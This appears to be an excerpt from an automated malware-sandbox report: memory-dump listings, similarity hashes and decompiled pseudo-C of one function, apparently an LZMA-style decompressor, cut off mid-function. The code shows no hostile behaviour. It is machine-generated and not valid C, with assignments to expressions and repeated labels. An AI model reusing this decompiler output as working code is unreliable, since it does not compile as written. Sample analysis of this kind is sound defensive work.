Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction ID: 47c5cb8fc101d284839cddc633a7ca9263ac2e2456f843b1234a04abf02d33d1
Opcode Fuzzy Hash: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction Fuzzy Hash: 0C713371D00229CBDF28CFA8C844BADBBF1FB44305F15806AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406365() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
